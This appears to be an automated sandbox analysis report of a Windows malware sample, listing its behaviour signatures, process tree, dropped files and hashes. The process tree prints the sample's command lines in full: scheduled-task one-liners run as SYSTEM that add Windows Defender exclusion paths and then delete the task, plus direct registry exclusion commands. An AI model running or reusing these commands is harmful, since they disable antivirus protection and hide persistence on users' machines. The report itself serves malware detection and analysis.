Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 15:57

General

  • Target
    install_n3w011.exe
  • Size 40.8MB
  • Sample260808-td83kaec56
  • SHA256 a82ddf1015b9f676b2aa720f33e351330418e7739da9e90ddb6ebed1304dcd40
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 54 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_n3w011.exe
    "C:\Users\Admin\AppData\Local\Temp\install_n3w011.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:396
  • C:\Users\Public\jZmhbH\Vp5h38.exe
    C:\Users\Public\jZmhbH\Vp5h38.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:3104
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jZmhbH\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:4948
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\jZmhbH\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3496
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2388
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2508
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:1504
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1356
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1680
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4308
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:4772
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4440
          • C:\Windows\system32\cmd.exe
            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jZmhbH" /t REG_DWORD /d 0 /f
            1⤵
            • Executes a command shell one-liner
            PID:4752
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\jZmhbH" /t REG_DWORD /d 0 /f
              2⤵
                PID:4120
            • C:\Users\Public\jZmhbH\Vp5h38.exe
              "C:\Users\Public\jZmhbH\Vp5h38.exe"
              1⤵
                PID:4404
              • C:\Windows\system32\cmd.exe
                cmd.exe
                1⤵
                  PID:3112
                • C:\Windows\system32\cmd.exe
                  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                  1⤵
                  • Executes a command shell one-liner
                  PID:3332
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                    2⤵
                      PID:4032

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        1BA79029EC3FFD076F5DAC2F70A18685

                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                        • Size 1KB
                        • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                        • MD5 SHA1 SHA512 TLSH

                        1BA79029EC3FFD076F5DAC2F70A18685

                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                        • Size 186B
                        • SHA256 941379fa06379e78c34f8fcf6a44ded6a7ae0959af2efa50c7f47dcd45c3aa25
                        • MD5 SHA1 SHA512 TLSH

                        UxEnhance64.dll

                        • Path C:\Users\Public\jZmhbH\UxEnhance64.dll
                        • Size 3.1MB
                        • SHA256 6834c87660534d654a54710525626d1840aae84961190b5393919287a4a65797
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        Vp5h38.exe

                        • Path C:\Users\Public\jZmhbH\Vp5h38.exe
                        • Size 135KB
                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        adoresd.dat

                        • Path C:\Users\Public\jZmhbH\adoresd.dat
                        • Size 4.7MB
                        • SHA256 07595de2362c27108fd736f1b9035711ddb3cd5c5b20cbc7da1b04e3ff9d5d9d
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        msadox.tb

                        • Path C:\Users\Public\jZmhbH\msadox.tb
                        • Size 8KB
                        • SHA256 7c78b90f670ad8816daedfcf268498aa5a75f88f84e8dca5c8a99b96fb56b888
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/396-1-0x00000000001E0000-0x00000000001ED000-memory.dmp

                        memory/396-2-0x00000000001F0000-0x00000000001FB000-memory.dmp

                        memory/396-504-0x00007FFA44920000-0x00007FFA44930000-memory.dmp

                        memory/396-529-0x00007FFA44920000-0x00007FFA44930000-memory.dmp

                        memory/396-528-0x00000000001E0000-0x00000000001ED000-memory.dmp

                        memory/396-0-0x00000000001E0000-0x00000000001ED000-memory.dmp

                        memory/3104-535-0x00007FFA373A0000-0x00007FFA378BE000-memory.dmp

                        memory/3104-568-0x0000024BE35E0000-0x0000024BE3E71000-memory.dmp

                        memory/3104-542-0x00007FFA538C0000-0x00007FFA538C2000-memory.dmp

                        memory/3104-547-0x0000024BE35E0000-0x0000024BE3E71000-memory.dmp

                        memory/3104-548-0x0000024BE35E0000-0x0000024BE3E71000-memory.dmp

                        memory/3104-549-0x0000024BE35E0000-0x0000024BE3E71000-memory.dmp

                        memory/3104-550-0x0000024BE35E0000-0x0000024BE3E71000-memory.dmp

                        memory/3104-559-0x0000024BE2A90000-0x0000024BE2ADE000-memory.dmp

                        memory/3104-563-0x0000024BE2B90000-0x0000024BE2C1A000-memory.dmp

                        memory/3104-562-0x0000024BE2B90000-0x0000024BE2C1A000-memory.dmp

                        memory/3104-561-0x0000024BE2B90000-0x0000024BE2C1A000-memory.dmp

                        memory/3104-560-0x0000024BE2B90000-0x0000024BE2C1A000-memory.dmp

                        memory/3104-554-0x0000024BE35E0000-0x0000024BE3E71000-memory.dmp

                        memory/3104-543-0x0000024BE35E0000-0x0000024BE3E71000-memory.dmp

                        memory/3104-569-0x0000024BE35E0000-0x0000024BE3E71000-memory.dmp

                        memory/3104-540-0x0000024BE35E0000-0x0000024BE3E71000-memory.dmp

                        memory/3104-534-0x00007FFA538B0000-0x00007FFA538B2000-memory.dmp

                        memory/4404-582-0x00007FFA373A0000-0x00007FFA378BE000-memory.dmp

                        memory/4404-585-0x0000023FD4560000-0x0000023FD4DF1000-memory.dmp

                        memory/4404-589-0x00007FFA538C0000-0x00007FFA538C2000-memory.dmp

                        memory/4404-590-0x0000023FD4560000-0x0000023FD4DF1000-memory.dmp

                        memory/4404-594-0x0000023FD4560000-0x0000023FD4DF1000-memory.dmp

                        memory/4404-595-0x0000023FD4560000-0x0000023FD4DF1000-memory.dmp

                        memory/4404-597-0x0000023FD4560000-0x0000023FD4DF1000-memory.dmp

                        memory/4404-598-0x00007FFA538B0000-0x00007FFA538B2000-memory.dmp

                        memory/4404-596-0x0000023FD4560000-0x0000023FD4DF1000-memory.dmp